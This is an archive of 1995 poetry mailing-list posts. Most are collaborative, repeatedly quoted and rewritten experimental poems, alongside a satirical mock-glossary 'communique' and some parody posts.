> > as penitence, but let's elude the shakes and drear, get lost in
> > our palaver have tongue will travel not a binge of harmony which
> > in the end goes meerschaum on us till we blink ourselves to
> > creeping where the sublime is cows bathing in starlight. Give
> > temporality a rest, for widest space succombs to onslaughts of
> > hidden porchlight in the latitude that she has given his
> > longitude. Depth is directly stated. A signal slated to be read
> > ingratiates politicos and blond ones also shaven vortices but
> > does mangling exist or the circle is balboa plus expenses
> > cabinets away from lust and pedigree and shark fin soup
> > trailing stiffens buying tears for so many tendons
> > demitassed to mean full-bodied wine with alcohol removed
> > by trained leeches from under the rotting elastic, a feast
> > conducted by William Carlos Williams & the Five Snorers--

The Mothers of Pathos and Pity opened for them, & it was five o clock on a saturday, and the regular crowd shuffles in

↑ Index

404. Jorge Guitart
Re: Taking mercy on the over-posted II
Wed 13 Sep 1995

(thanks Tom Bell for the idea)

In books were dreams, etc, etc.

.....

to onslaughts of hidden porchlight in the latitude
that she has given his longitude. Depth is directly stated.
A signal event of the first order
observed by St. Petersburg poets on horses
mounted on cardboard which i had given Park Place & two railroads for--
for the price Barnum %& Bailey began postmodernism with
by not giving the auroras-of-autumn suckers an even break, but
scratching Chickens Little little knew the red wheelie--he dead
adieu to Force de Frappe. We are going with Club Dread this year

↑ Index

405. Jorge Guitart
Re: Sheila & Jorge's Excellent Adventure
Wed 13 Sep 1995

Sheila wrote
> Chris wrote
> >Jorge wrote:
> >Sheila wrote
> >Jorge wrote:
> >Sheila wrote
> >Jorge wrote:
> >Sheila wrote:
> >Jorge wrote:
> >
> >Sheila wrote:
> >
> >In the books were dreams and in the dreams were books.And flew

(about 95 lines omitted)

> >our palaver have tongue will travel not a binge of harmony which
> >in the end goes meerschaum on us till we blink ourselves to
> >creeping where the sublime is cows bathing in starlight. Give

> >temporality a rest, for widest space succombs to onslaughts of
> >hidden porchlight in the latitude that she has given his
> >longitude. Depth is directly stated. A signal slated to be read
> >ingratiates politicos and blond ones also shaven vortices but
> >does mangling exist or the circle is balboa plus expenses
> >cabinets away from lust and pedigree and shark fin soup
> >trailing stiffens buying tears for so many tendons
> >demitassed to mean full-bodied wine with alcohol removed
> >by trained leeches from under the rotting elastic, a feast
> of cinched trousers, steel wool and classicists weeviling their way to
train themselves as intensely sexual. They worked with oblong

↑ Index

406. Jorge Guitart

Re: Sheila, Chris & Jorge's Excellent Adventure

Wed 13 Sep 1995

Chris wrote
> > Sheila wrote
> >> Jorge wrote:
> >> >Sheila wrote
> >> >Jorge wrote:
> >> >Sheila wrote
> >> >Jorge wrote:
> >> >Sheila wrote:
> >> >Jorge wrote:
> >> >In the books were dreams and in the dreams were books.And flew

(...)

> >> >hidden porchlight in the latitude that she has given his
> >> >longitude. Depth is directly stated. A signal slated to be read
> >> >ingratiates politicos and blond ones also shaven vortices but
> >> >does mangling exist or the circle is balboa plus expenses
> >> >cabinets away from lust and pedigree and shark fin soup
> >> >trailing stiffens buying tears for so many tendons
> >> demitassed to mean full-bodied wine with alcohol removed
> >spending the bulk of closure with sentient scoops
> that fluke picnic shot out of these worlds we spread been-to
say that the center cannot hold the nose tackle much longer

↑ Index

407. Jorge Guitart
Re: this break will or will not not branch
Wed 13 Sep 1995

EDITED FOR TELEVISION

> *In the books were dreams and in the dreams were books.*
> *And flew through windows lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *ebullience with a token gesture of sauce, of the red stuff.*
> *I have a lot of duende in the freezer & we can defrost some*
> *woods on a snowy evening, my horse is lovely dark and deep*
> *as penitence, but let's elude the shakes and drear, get lost in*
> *our palaver have tongue will travel not a binge of harmony which*
> *in the end goes meerschaum on us till we blink ourselves to*
> *creeping where the sublime is cows bathing in starlight. Give*
> *temporality a rest, for widest space succombs to onslaughts of*
> *hidden porchlight in the latitude that she has given his*
> *longitude. Depth is directly stated. A signal slated to be read*
> *ingratiates politicos and blond ones also shaven vortices but*
> *does mangling exist or the circle is balboa plus expenses*
> *cabinets away from lust and pedigree and shark fin soup*
> *trailing stiffens buying tears for so many tendons*
> *demitassed to mean full-bodied wine with alcohol removed*
> *by trained leeches from under the rotting elastic, a feast*
> *of swirling eddies with beaucoup of labia & confetti*
> *starving time's scythe for water, matching colors to go*
> *crecheward into sweet line drawings clothed to world our*
> *anthological wrongings; i endured mereology for you & you alone*

↑ Index

408. Jorge Guitart
Re: fugazi redshifter approaching colossus
Wed 13 Sep 1995

On Wed, 13 Sep 1995, Jordan Davis. wrote:

> > > >In the books were dreams and in the dreams were books.And flew
> > > >through windows '95, lightning green and fine morning
> > > >First detrevni whistle of a cardinal in the poplar
> > > >The book and the old boy on the grass under sun and cloud
> > > >Go endless, an obtuse cellar blue, it binds
> > > >The caravan of endowments to what they flee
> > > >These space curtains, more gauze than bondage, more
> > > >Boloed than aware, spin-art and pebbling
> > > >but narrow in the face or foppish Sunday Hilda oh!

> > > >Over coffee chopped with kissed lads, the Times blowing
> > > >& opining, heavy humid air, we musing against the
> > > >bleached ribcage ripcorded into compassed wind
> > > >missing the violinist between her rests as she
> > > >indexes fracas problem: tool shacks, landscape of
> > > >Zorro son of thunderhead and the storm in the steel glass
> > > >s halfway pertinent incision we keep making
> > > >(I denied not knowing how cadenza was meant) &
> > > >Neapolitan pockets in small furniture intended house
> > > >chance several mountains away but it wasn't, you know, a
> > > >big tango when the attorney general came, said amen,
> > > >"Dias,oh, ho kook!"Xanthippe Ellington! "Tootin' Through the
> > > >Roof" Tobacco warehouse, curls no rabbit rabbit rabbit rabbit
> > > >texture so to speak was at the cleaners hot and
> > > >stubble somewhere unnoticed, chirping presence
> > > >the chair is sad, alas, and i've lusted tootles' livers the
> > > >detour a cello a day dishevels a boat cold otter chose in the core
> > > >slaughter because we're waiting all throughout
> > > >eternity for solos to be of such suchness.
> > > >In the nooks were creams and in the stream were hooks
> > > >All models like films about their friends in pastel
> > > >of darkness falling like an afghan around the manatee.
> > > >Likewise seems sandpaper huckster with seesaw inchworms and
> > > >recently soft brute of subject's object status, violent
> > > >transformation la Ste. Therese into beaming cumulus hapax
> > > >switchback and in the u-turns were bookmobiles rounding angels
> > > >considered shrill as I'm left in the acres to be aging
> > > >flutes sing fender-benderless in trio, h-h-h-holy cow!
> > > >effort really is or is not, fast enough to sleep
> > > >through thunderstorms, arm over thigh until light shakes
> > > >petals free of names that rain across known skin forgotten
> > > >alive in our hearse hurts, projective nurse if she is to go ahead
> > > >And, with a shout, collecting coat hangers
> > > >saunter lope pentecost Timon of Athens operator will you cockpit
> > > >out, transplanted organs speak, "arf!" the idiom
> > > >inseams, a snare as solvently unequal-- the power
> > > >uncreased although each snare still trembles QuarkXpress
> > > >which explains why the sump is busted and why
> > > >he preferred Hole to afternoons on the phone with that
> > > >carp, a cousin on the moon, remember the needy
> > > >capable of keeping the canoe right way up in the cool
> > > >prose of the upper Hudson, dinner's at seven so

> > > >start swimmin, bud: "lay me down in a wetsuit,
> > > >heats me up the porridge," it's like a huge typo
> > > >of familiarity. I am storing valence for later use
> > > >I know the war-whoop in each dusty arrogance
> > > >among the choruses and the different people
> > > >Char, Lee, Parr, Kerr, everybody is Hokey Pokey
> > > >collecting the very boring nouns that come in on the breeze
> > > >delicate lace flies tied by Pelican Bill, yo, in the house,
> > > >of narration with part of good moisture. Here, bile, sopor,
> > > >ebullience is a token gesture of the sauced, Red Stuff.
> > > >I have a lot of duodenum. In the freezer we can defend some
> > > >woods on a snowy evening, my yellow rose is lovely dark and deep
> > > >as penitence, but let's elude the shakes and drear, get lost in
> > > >our palaver. Have? Will not a binge of harmony which
> > > >in the end go "meerschaum" on us till we Tempest ourselves to
> > > >bearings where the heiress is cows bathing in starlight. Give
> > > >the poor temp a rest, for widest space succombs to onslaughts of
> > > >hidden porchlight in the platitude that she has given his
> > > >longitude. Depth is directly stated. A signal slated to be canonized
> > > >elevates politicos and blond ones also raving vortices but
> > > >does hang-gliding exist or is the circle a bulb of "plus" expenses
> > > >cabins away from "Flash and Filligree" and "Goat's Head Soup"
> > > >travel stiffly by the tears for so many tendons
> > > documentary to mean full body winter with alcohol removed
> > sending the bulk of closure with sentient loops
> > but my nerves are excellent tonight: I fired Mr. Churchyard
> in the coin-op kiln on Sullen Street with my Saint Chris
& Heilige Anna slapping me because I said that Trakl liked treacle

↑ Index

409. **Jorge Guitart**
Re: big local news
Wed 13 Sep 1995

On Wed, 13 Sep 1995, Jordan Davis. wrote:

> > > In the books were dreams and in the dreams were books.And flew
> > > through windows '95, lightning green and fine morning
> > > First inverted whistle of a cardinal in the poplar
> > > The book and the oboe on the grass under sun and cloud
> > > Go endlessly, an obtuse Prussian blue, it binds
> > > The caravan of windows to what they flee
> > > These lace curtains, more gauze than bondage, more

> > > Mollycoddled than aware, thin-spined and pebbling
> > > but narrow in the waist or waspish Sunday years ago
> > > Over coffee topped with whipped lads, the Times blowing
> > > & opining, heavy humid air, cum amusing against the
> > > bleached ribcage ripcorded into compassed wind accident
> > > kissing the weatherwoman between her beasts as she
> > > gives gracious problem: fanatical snacks, landscape of
> > > flicka son of thunderhead and the storm in the glass of water'
> > > s halfway pertinent incision we keep making safe for ignorance
> > > (inspection denied for not knowing how credenza was meant) &
> > > neo-colonizing pockets in small furniture intended house
> > > sequentially several mountains away but it wasn't, you know, a
> > > big tango when the attorney general came, selah hales said,
> > > "Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the
> > > Roof" Tobacco warehouse, nada curls no ideas but the woven fabric the
> > > texture so to speak was at the dry cleaners piping hot and
> > > gloved-in somewhere unsalted, perched on prescience y pues nada
> > > the chair is sad, alas, and i've lusted tootles' liversthe odor
> > > day toy a cello day dis chevys a bo coo daughter chose encore
> > > Flaubert because we're waiting all throughout
> > > eternity for moments to be of such suchness,
> > > to hold a rattle up, to eat our mommies.
> > > In the nooks were creams and in the stream were hooks
> > > All melded like striated film leftover in the pastel seeds
> > > of darkness falling like a counterirritant around the manchineel.
> > > Likewise seams andpaper juxtaposed with seasoned instruments and
> > > recently soft fruit of subject's object status, violent
> > > transformation la Ste. Therese into beaming cumulus apokoinu
> > > switchback and in the u-turns were bookmobiles rounding angles
> > > considered shrill as pine left in the acres to be aging
> > > flawlessly, flutes sing genderless in trio, surprisedby how quiet
> > > effort really is or is not, fast enough to sleep
> > > through thunderstorms, arm over thigh until light shakes
> > > petals free of names that rain across known skin forgotten
> > > alive in our hearse hurts, projective nurse if she is to go ahead
> > > and dance, composing instead of straining muscles, far eyes
> > > saunter lope pentecost beam operator will you cockpit
> > > out, transplanted organs speak, the idiom
> > > inseams, a snare as solvently unequal-- the power
> > > uncreased although each snare still trembles quantum
> > > which explains why the pump is busted and why
> > > he preferred whole afternoons on the phone to that

> > > crap about not having a cousin on the moon
> > > capable of keeping the canoe right way up in the cool
> > > prose of the upper Hudson, dinner's at seven so
> > > start swimmin, bud: "lay me down in a wetsuit,
> > > heats me up in the sleaze," it's like a huge dose
> > > of familiarity. I am storing radiance for later use
> > > I know the war-whoop in each dusty narrative
> > > among the invoices and the difference engines
> > > Char, Lee, Parr, Kerr, everybody is here and there
> > > collecting the stamp hinges that come in on the breeze
> > > delicate lace flies into pelican Bills in the house
> > > of narration with partners of good moisture. Here,touch my
> > > ebullience with a token gesture of sauce, of the red stuff.
> > > I have a lot of duende in the freezer & we can defrost some
> > > woods on a snowy evening, my horse is lovely dark and deep
> > > as penitence, but let's elude the shakes and drear, get lost in
> > > our palaver have tongue will travel not a binge of harmony which
> > > in the end goes meerschaum on us till we blink ourselves to
> > > creeping where the sublime is cows bathing in starlight. Give
> > > temporality a rest, for widest space succombs to onslaughts of
> > > hidden porchlight in the latitude that she has given his
> > > longitude. Depth is directly stated. A signal slated to be read
> > > ingratiates politicos and blond ones also shaven vortices but
> > > does mangling exist or the circle is balboa plus expenses
> > > cabinets away from lust and pedigree and shark fin soup
> > > trailing stiffens buying tears for so many tendons
> > > demitassed to mean full-bodied wine with alcohol removed
> > > by trained leeches from under the rotting elastic, a feast
> > > conducted by William Carlos Williams & the Five Snorers--
> The Mothers of Pathos and Pity opened for them, & it was
> five o clock on a saturday, and the regular crowd shuffles in
 and the infirms of st james were dropping like flies

↑ Index

410. **Chris Scheil**

FWD: PLA Communique #32: VOCABULARY MODIFICATION PROPOGANDA

Wed 13 Sep 1995

26

Auto-Fellatio: a child's game, believed to have originated in the American suburbs.

Ballot: a unit of illicit currency, produced by the Rhodesian underground banking establishment as a supplement to legitimate coinage.

Cranial: of or pertaining to narcolepsy and the symptoms thereof.

Doric Column: a gallows tree. Also, a raised platform upon which the elderly are sometimes abandoned.

Ergonomics: the science of sleep-control, pioneered by Lucus Cranach the Elder (1472-1553)

Frontal-lobotamy: a cosmetic surgical technique, allowing the extrusion and sculptural molding of brain matter for aesthetic display.

Glottal Stop: a method of torture, involving the forced introduction of super-heated pine resin into the abdominal cavity.

Howitzer: a public sculpture.

Incandescence: a small vulpine (Ondatra Zibethica), much valued for its luminescent pelt.

Jimson-weed: indigenous plant (Datura Stramonium) of the North American Continent. Often used as a stimulant in the induction ceremonies of certain political cults.

Knuckle: Gaelic word for a windfall of fish produced by the deployment of explosive material into shallow bodies of water..

Linseed oil: an epidermal solvent used by health advocates to remove unwanted skin.

Mastication: an obsolete term for martyrdom.

Nasturtium: any small eavesdropping device parasitically imbedded, implanted, or otherwise introduced into human flesh; often associated with many European intelligence agencies.

Oncology: a short-lived Polish literary movement (1974-1981)

Phallus: a joke. Also, the headgear of certain Andalusian clowns.

Quisling: a small waterfowl, much valued in Austria as a culinary oddity.

Rectum: large arched opening, through which commuters pass on their way to a boarding gate. Also, a security checkpoint.

Sub-munitions: small, metallic abstract religious idols, often found on Bedouin open-air altars throughout the Middle-East.

Thermos: small canoptic jar in which forensic urine samples are stored.

Uterus: a cushion.

Vivisectionist's Law: a key demographic principle involving media distribution in minority populations, vital to the development of modern electronic communications.

War: an ancient ritual, presumed to demonstrate humankind's impatience with disease.

Xenophobia: a popular game show on American television (1952-1968)

Ziplock: official symbol of the American Medical Association, introduced (circa 1949) as a replacement for the well-known caduceus.

--BEGIN TRANSMISSION|INSTRUCTIONS ENSUING--
This is an official communique of the PLA (Phonemic Liberation Army) & is intended to be distributed as educatinal propoganda to targetted intellectual communities (see Order-of-Battle Chart ENDYMION, Appendix 12) only. Any unauthorized distribution or cross-curricular circulation is to be reported to local cohort leaders immediately. VIVE LE BLAGUE!
--END PLA TRANSMISSION--

↑ Index

411. **Tony Green**

Re: Sheila & Jorge's Excellent Adventure

Wed 13 Sep 1995

Jorge Guitart wrote fairly recently:
> >> In the books were dreams and in the dreams were books.
> >>And flew through windows, lightning green and fine morning
> >> First inverted whistle of a cardinal in the poplar
> >> The book and the oboe on the grass under sun and cloud
> >> Go endlessly, an obtuse Prussian blue, it binds
> >> The caravan of windows to what they flee
> >> These lace curtains, more gauze than bondage, more
> >> Mollycoddled than aware, thin-spined and pebbling
> >> but narrow in the waist or waspish Sunday years ago
> >> Over coffee topped with whipped lads, the Times blowing
> >> & opining, heavy humid air, cum amusing against the
> >> bleached ribcage ripcorded into compassed wind accident
> >> kissing the weatherwoman between her beasts as she
> >> gives gracious problem: fanatical snacks, landscape of
> >> flicka son of thunderhead and the storm in the glass of water'
> >> s halfway pertinent incision we keep making safe for ignorance

> >> (inspection denied for not knowing how credenza was meant) &
> >> neo-colonizing pockets in small furniture intended house
> >> sequentially several mountains away but it wasn't, you know, a
> >> big tango when the attorney general came, selah hales said,
> >> "Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the
> >> Roof" Tobacco warehouse, nada curls no ideas but the woven fabric the
> >> texture so to speak was at the dry cleaners piping hot and
> >> gloved-in somewhere unsalted, perched on prescience y pues nada
> >> the chair is sad, alas, and i've lusted tootles' liversthe odor
> >> day toy a cello day dis chevys a bo coo daughter chose encore
> >> Flaubert because we're waiting all throughout
> >> eternity for moments to be of such suchness,
> >> to hold a rattle up, to eat our mommies.
> >> In the nooks were creams and in the stream were hooks
> >> All melded like striated film leftover in the pastel seeds
> >> of darkness falling like a counterirritant around the manchineel.
> >> Likewise seams andpaper juxtaposed with seasoned instruments and
> >> recently soft fruit of subject's object status, violent
> >> transformation la Ste. Therese into beaming cumulus apokoinu
> >> switchback and in the u-turns were bookmobiles rounding angles
> >> considered shrill as pine left in the acres to be aging
> >> flawlessly, flutes sing genderless in trio, surprisedby how quiet
> >> effort really is or is not, fast enough to sleep
> >> through thunderstorms, arm over thigh until light shakes
> >> petals free of names that rain across known skin forgotten
> >> alive in our hearse hurts, projective nurse if she is to go ahead
> >> and dance, composing instead of straining muscles, far eyes
> >> saunter lope pentecost beam operator will you cockpit
> >> out, transplanted organs speak, the idiom
> >> inseams, a snare as solvently unequal-- the power
> >> uncreased although each snare still trembles quantum
> >> which explains why the pump is busted and why
> >> he preferred whole afternoons on the phone to that
> >> crap about not having a cousin on the moon
> >> capable of keeping the canoe right way up in the cool
> >> prose of the upper Hudson, dinner's at seven so
> >> start swimmin, bud: "lay me down in a wetsuit,
> >> heats me up in the sleaze," it's like a huge dose
> >> of familiarity. I am storing radiance for later use
> >> I know the war-whoop in each dusty narrative
> >> among the invoices and the difference engines
> >> Char, Lee, Parr, Kerr, everybody is here and there

> >> collecting the stamp hinges that come in on the breeze
> >> delicate lace flies into pelican Bills in the house
> >> of narration with partners of good moisture. Here,touch my
> >> ebullience with a token gesture of sauce, of the red stuff.
> >> I have a lot of duende in the freezer & we can defrost some
> >> woods on a snowy evening, my horse is lovely dark and deep
> >> as penitence, but let's elude the shakes and drear, get lost in
> >> our palaver have tongue will travel not a binge of harmony which
> >> in the end goes meerschaum on us till we blink ourselves to
> >> creeping where the sublime is cows bathing in starlight. Give
> >> temporality a rest, for widest space succombs to onslaughts of
> >> hidden porchlight in the latitude that she has given his
> >> longitude. Depth is directly stated. A signal slated to be read
> >> ingratiates politicos and blond ones also shaven vortices but
> >> does mangling exist or the circle is balboa plus expenses
> >> cabinets away from lust and pedigree and shark fin soup
> >> trailing stiffens buying tears for so many tendons
> >> demitassed to mean full-bodied wine with alcohol removed
> >> by trained leeches from under the rotting elastic, a feast
> >> conducted by William Carlos Williams & the Five Snorers,
> laying on rocks in the wind, dissonance the order of our day
  whereas earlier pieces had emphasized the slow brutality of time
  elephantine wrinkles, rocks turning grey, starving termites from

Tony Green,
e-mail: [redacted]

↑ Index

412. **Tony Green**
Re: Benson address
Wed 13 Sep 1995

Hi, I've lost track of Steve Benson for a while. Could you please send his snail address? Good luck with Ear Inn. I'd like to be there, but...

best

Tony Green,
e-mail: [redacted]

↑ Index

413. Tony Green
Marcel Revisited
Wed 13 Sep 1995

---

pst! " o " omitted in earlier post!

Marcel Proust = crumple roast.

Tony Green,
e-mail: [redacted]

↑ Index

414. David Ayre
dear listserv,
Wed 13 Sep 1995

Dear Listserv,

SET POETICS FREE FOR INFO FRIENDS

Yours,

AVID DEARY

↑ Index

415. David Ayre
Hello INFO friends...
Wed 13 Sep 1995

Hello INFO FRIENDS...

I sit in sad repose as I put pen to paper concerning an issue I've found most deeply disturbing.

(sigh) . . .

I am not so sure i like this SUPER INFORMATION HIGHWAY after all. It hasn't been so super for me lately. Let me share with you my sweaty parting sorrows...

I have just been forceably removed from 13 discussion lists including Small Engine and Firearms Repair, Cyber Ceramics, Online Touque Mending and Friends For Life.

This list is my last refuge, my last hope.... And from what i've seen so far, things are lookin pretty good !

Bernstein, I, like you have a 8 x 11 picture I keep near to me. It's the picture of you on the cover of The Difficulties. Remember it ! Everyone, do you remember it ! You're sitting on that porch, a full head of hair all comfortably reclined with an "I just finished reading Ulysses and it only took an hour !" look on your face all casual with your junky jeans, shoddy vans with the droopy laces and a distinctly Canadian shirt. I keep your picture right next to my 40 x 20 enlargement of the Ron Silliman cigar chomping, crotch spread Difficulties Issue (they kept that one behind the counter...). Charles, every time I think about you, I touch my elf.

I am proud to be a member of this list, discussing art farts ache. I will not fall prey to Mr. Killians horny whims, nor George Bowerings sleazy nerdisms! Rod Smith and Andrew Klobucar's epitaphical exagerations are boneheaded to say the least. As for for Mr. Levy, I have never been in the same room with ANYONE before never mind these people you name. Do you have PICTURES ?! #$!? HUH ! and who is this Dodie Bellamy person anyway ? Is she for REAL ?

To sum it all up, I've had enough of you chauvinist fogeys.
There are three points I need to make here.
.
.
.
And another thing! Andrew, does the word "SEMANTICS" mean anything to you?
And, believe it or not, McKuen is the best-selling poet in modern publishing
history. His 35 books of poetry have sold over 40 million copies.
But bad news soon surfaced--I know we all share contempt for his popular books. McKuen had sold 40 thousand copies of his first volume, Stanyan Street & Other Sorrows, from his basement before being scooped up by a Random House.

"what is with this david ayre ?", this Lapcourt farmhand,
this great bundle of hair !

"what is with this david ayre ?",
this avid deary with the dairy air
I'm just trying to be friendly, tis all !
to all my info friends, so . . .
O ! Mr. Killian, you might well just get me,
or might as well just fist me
(excuse me!)
in the end....

yours,
AVID DEARY

p.s.

I DID EVA DA DEER
~~~~~~~~~~~~~~~~~
a mantranagram (for george as he remembers me)

A DEAD YEAR
ADD A DEAD DAY
ADD A DEAD RIDE.

(sigh)

I DID-I-DID DA VARY ID !

A AVID ID DID RIDE
DID RIDE A DEAR DEER DEAD

A VARIED DAY I AD !

DARE I RIDE EVERY DAY
A RED DEER EAR ID DA RADIADER

(6 years later...)

YEAR AD DER YEAR, ID ID DER

A DEAD DEER EAR,
DA AVID ID DID DUD

↑ Index

416. David Ayre
Dear Listserv,
Wed 13 Sep 1995

Dear Listserv,

SET POETICS LIST "NOT BORING" FOR JEFFREY TIMMONS

Yours,

AVID DEARY

↑ Index

417. cris cheek
Re: this break or make will or will not not branch
Wed 13 Sep 1995

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by rote
~~~~~~~~~~~~~~~~~

Jorge wrote:
>>
>> In the books were dreams and in the dreams were books.And flew
>> through windows '95, lightning green and fine morning
>> First inverted whistle of a cardinal in the poplar
>> The book and the oboe on the grass under sun and cloud
>> Go endlessly, an obtuse Prussian blue, it binds
>> The caravan of windows to what they flee
>> These lace curtains, more gauze than bondage, more
>> Mollycoddled than aware, thin-spined and pebbling
>> but narrow in the waist or waspish Sunday years ago
>> Over coffee topped with whipped lads, the Times blowing
>> & opining, heavy humid air, cum amusing against the
>> bleached ribcage ripcorded into compassed wind
>> kissing the weatherwoman between her beasts as she
>> gives gracious problem: fanatical snacks, landscape of
>> flicka son of thunderhead and the storm in the glass of water'
>> s halfway pertinent incision we keep making safe for ignorance
>> (inspection denied for not knowing how credenza was meant) &
>> neo-colonizing pockets in small furniture intended house
>> sequentially several mountains away but it wasn't, you know, a
>> big tango when the attorney general came, selah hales said,
>> "Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the
>> Roof" Tobacco warehouse, curls no ideas but the woven fabric the
>> texture so to speak was at the dry cleaners piping hot and
>> gloved-in somewhere unsalted, perched on prescience
>> the chair is sad, alas, and i've lusted tootles' liversthe odor
>> day toy a cello day dis chevys a bo coo daughter chose encore
>> Flaubert because we're waiting all throughout
>> eternity for moments to be of such suchness.
>> In the nooks were creams and in the stream were hooks
>> All melded like striated film leftover in the pastel seeds
>> of darkness falling like a counterirritant around the manchineel.
>> Likewise seams andpaper juxtaposed with seasoned instruments and
>> recently soft fruit of subject's object status, violent
>> transformation la Ste. Therese into beaming cumulus apokoinu
>> switchback and in the u-turns were bookmobiles rounding angles
>> considered shrill as pine left in the acres to be aging
>> flawlessly, flutes sing genderless in trio, surprisedby how quiet
>> effort really is or is not, fast enough to sleep
>> through thunderstorms, arm over thigh until light shakes
>> petals free of names that rain across known skin forgotten

>> alive in our hearse hurts, projective nurse if she is to go ahead
>> and dance, composing instead of straining muscles, far eyes
>> saunter lope pentecost beam operator will you cockpit
>> out, transplanted organs speak, the idiom
>> inseams, a snare as solvently unequal-- the power
>> uncreased although each snare still trembles quantum
>> which explains why the pump is busted and why
>> he preferred whole afternoons on the phone to that
>> crap about not having a cousin on the moon
>> capable of keeping the canoe right way up in the cool
>> prose of the upper Hudson, dinner's at seven so
>> start swimmin, bud: "lay me down in a wetsuit,
>> heats me up in the sleaze," it's like a huge dose
>> of familiarity. I am storing radiance for later use
>> I know the war-whoop in each dusty narrative
>> among the invoices and the difference engines
>> Char, Lee, Parr, Kerr, everybody is here and there
>> collecting the stamp hinges that come in on the breeze
>> delicate lace flies into pelican Bills in the house
>> of narration with partners of good moisture. Here,touch my
>> ebullience with a token gesture of sauce, of the red stuff.
>> I have a lot of duende in the freezer & we can defrost some
>> woods on a snowy evening, my horse is lovely dark and deep
>> as penitence, but let's elude the shakes and drear, get lost in
>> our palaver have tongue will travel not a binge of harmony which
>> in the end goes meerschaum on us till we blink ourselves to
>> creeping where the sublime is cows bathing in starlight. Give
>> temporality a rest, for widest space succombs to onslaughts of
>> hidden porchlight in the latitude that she has given his
>> longitude. Depth is directly stated. A signal slated to be read
>> ingratiates politicos and blond ones also shaven vortices but
>> does mangling exist or the circle is balboa plus expenses
>> cabinets away from lust and pedigree and shark fin soup
>> trailing stiffens buying tears for so many tendons
>> demitassed to mean full-bodied wine with alcohol removed
>> by trained leeches from under the rotting elastic, a feast
>> of swirling eddies with beaucoup of labia & confetti
addressed from a lens to debris. Who truncated black's palette?

↑ Index

418. **cris cheek**

Re: ahem Chaim subroutine hawk stichic

Wed 13 Sep 1995

---

via Jorge

>> > >In the books were dreams and in the dreams were books.And flew
>> > >through windows '95, lightning green and fine morning
>> > >First detrevni whistle of a cardinal in the poplar
>> > >The book and the old boy on the grass under sun and cloud
>> > >Go endless, an obtuse cellar blue, it binds
>> > >The caravan of endowments to what they flee
>> > >These space curtains, more gauze than bondage, more
>> > >Boloed than aware, spin-art and pebbling
>> > >but narrow in the face or foppish Sunday Hilda oh!
>> > >Over coffee chopped with kissed lads, the Times blowing
>> > >& opining, heavy humid air, we musing against the
>> > >bleached ribcage ripcorded into compassed wind
>> > >missing the violinist between her rests as she
>> > >indexes fracas problem: tool shacks, landscape of
>> > >Zorro son of thunderhead and the storm in the steel glass
>> > >s halfway pertinent incision we keep making
>> > >(I denied not knowing how cadenza was meant) &
>> > >Neapolitan pockets in small furniture intended house
>> > >chance several mountains away but it wasn't, you know, a
>> > >big tango when the attorney general came, said amen,
>> > >"Dias,oh, ho kook!"Xanthippe Ellington! "Tootin' Through the
>> > >Roof" Tobacco warehouse, curls no rabbit rabbit rabbit rabbit
>> > >texture so to speak was at the cleaners hot and
>> > >stubble somewhere unnoticed, chirping presence
>> > >the chair is sad, alas, and i've lusted tootles' livers the
>> > >detour a cello a day dishevels a boat cold otter chose in the core
>> > >slaughter because we're waiting all throughout
>> > >eternity for solos to be of such suchness.
>> > >In the nooks were creams and in the stream were hooks
>> > >All models like films about their friends in pastel
>> > >of darkness falling like an afghan around the manatee.
>> > >Likewise seems sandpaper huckster with seesaw inchworms and
>> > >recently soft brute of subject's object status, violent
>> > >transformation la Ste. Therese into beaming cumulus hapax
>> > >switchback and in the u-turns were bookmobiles rounding angels
>> > >considered shrill as I'm left in the acres to be aging
>> > >flutes sing fender-benderless in trio, h-h-h-holy cow!

>> > >effort really is or is not, fast enough to sleep
>> > >through thunderstorms, arm over thigh until light shakes
>> > >petals free of names that rain across known skin forgotten
>> > >alive in our hearse hurts, projective nurse if she is to go ahead
>> > >And, with a shout, collecting coat hangers
>> > >saunter lope pentecost Timon of Athens operator will you cockpit
>> > >out, transplanted organs speak, "arf!" the idiom
>> > >inseams, a snare as solvently unequal-- the power
>> > >uncreased although each snare still trembles QuarkXpress
>> > >which explains why the sump is busted and why
>> > >he preferred Hole to afternoons on the phone with that
>> > >carp, a cousin on the moon, remember the needy
>> > >capable of keeping the canoe right way up in the cool
>> > >prose of the upper Hudson, dinner's at seven so
>> > >start swimmin, bud: "lay me down in a wetsuit,
>> > >heats me up the porridge," it's like a huge typo
>> > >of familiarity. I am storing valence for later use
>> > >I know the war-whoop in each dusty arrogance
>> > >among the choruses and the different people
>> > >Char, Lee, Parr, Kerr, everybody is Hokey Pokey
>> > >collecting the very boring nouns that come in on the breeze
>> > >delicate lace flies tied by Pelican Bill, yo, in the house,
>> > >of narration with part of good moisture. Here, bile, sopor,
>> > >ebullience is a token gesture of the sauced, Red Stuff.
>> > >I have a lot of duodenum. In the freezer we can defend some
>> > >woods on a snowy evening, my yellow rose is lovely dark and deep
>> > >as penitence, but let's elude the shakes and drear, get lost in
>> > >our palaver. Have? Will not a binge of harmony which
>> > >in the end go "meerschaum" on us till we Tempest ourselves to
>> > >bearings where the heiress is cows bathing in starlight. Give
>> > >the poor temp a rest, for widest space succombs to onslaughts of
>> > >hidden porchlight in the platitude that she has given his
>> > >longitude. Depth is directly stated. A signal slated to be canonized
>> > >elevates politicos and blond ones also raving vortices but
>> > >does hang-gliding exist or is the circle a bulb of "plus" expenses
>> > >cabins away from "Flash and Filligree" and "Goat's Head Soup"
>> > >travel stiffly by the tears for so many tendons
>> > documentary to mean full body winter with alcohol removed
>> sending the bulk of closure with sentient loops
>> but my nerves are excellent tonight: I fired Mr. Churchyard
\far beyond the safety netting while the band ate salted nuts

↑ Index

419. **cris cheek**

Re: Sheila & Jorge's Excellent Adventure

Wed 13 Sep 1995

>chris wrote:
>>>>S&J's excellent adventure sans chevrons
>>>
>>Jorge wrote:
>>Sheila wrote
>>Jorge wrote:
>>Sheila wrote
>>Jorge wrote:
>>Sheila wrote:
>>Jorge wrote:
>>
>>Sheila wrote:
>>
>>In the books were dreams and in the dreams were books.And flew
>>through windows '95, lightning green and fine morning
>>First inverted whistle of a cardinal in the poplar
>>The book and the oboe on the grass under sun and cloud
>>Go endlessly, an obtuse Prussian blue, it binds
>>The caravan of windows to what they flee
>>These lace curtains, more gauze than bondage, more
>>Mollycoddled than aware, thin-spined and pebbling
>>but narrow in the waist or waspish Sunday years ago
